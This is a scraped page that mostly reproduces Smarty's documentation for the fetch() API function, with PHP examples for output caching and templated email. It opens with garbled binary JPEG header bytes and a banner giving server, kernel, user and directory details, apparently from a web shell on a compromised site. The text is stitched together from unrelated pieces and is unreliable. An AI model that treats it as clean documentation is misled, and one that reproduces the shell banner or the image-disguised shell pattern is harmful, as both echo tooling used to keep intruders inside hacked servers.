���� JFIF �� � ( %"1"%)+...383,7(-.-
![]() Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20 System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 User : apache ( 48) PHP Version : 7.4.20 Disable Function : NONE Directory : /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/ |
fetch() returns the template output Description =========== string fetch string template string cache\_id string compile\_id This returns the template output instead of [displaying](#api.display) it. Supply a valid [template resource](#resources) type and path. As an optional second parameter, you can pass a `$cache id`, see the [caching section](#caching) for more information. PARAMETER.COMPILEID <?php include('Smarty.class.php'); $smarty = new Smarty; $smarty->setCaching(true); // set a separate cache_id for each unique URL $cache_id = md5($_SERVER['REQUEST_URI']); // capture the output $output = $smarty->fetch('index.tpl', $cache_id); // do something with $output here echo $output; ?> The `email_body.tpl` template Dear {$contact_info.name}, Welcome and thank you for signing up as a member of our user group. Click on the link below to login with your user name of '{$contact_info.username}' so you can post in our forums. {$login_url} List master {textformat wrap=40} This is some long-winded disclaimer text that would automatically get wrapped at 40 characters. This helps make the text easier to read in mail programs that do not wrap sentences for you. {/textformat} The php script using the PHP [`mail()`](https://www.php.net/function.mail) function <?php // get $contact_info from db or other resource here $smarty->assign('contact_info',$contact_info); $smarty->assign('login_url',"http://{$_SERVER['SERVER_NAME']}/login"); mail($contact_info['email'], 'Thank You', $smarty->fetch('email_body.tpl')); ?> See also [`{fetch}`](#language.function.fetch) [`display()`](#api.display), [`{eval}`](#language.function.eval), and [`templateExists()`](#api.template.exists).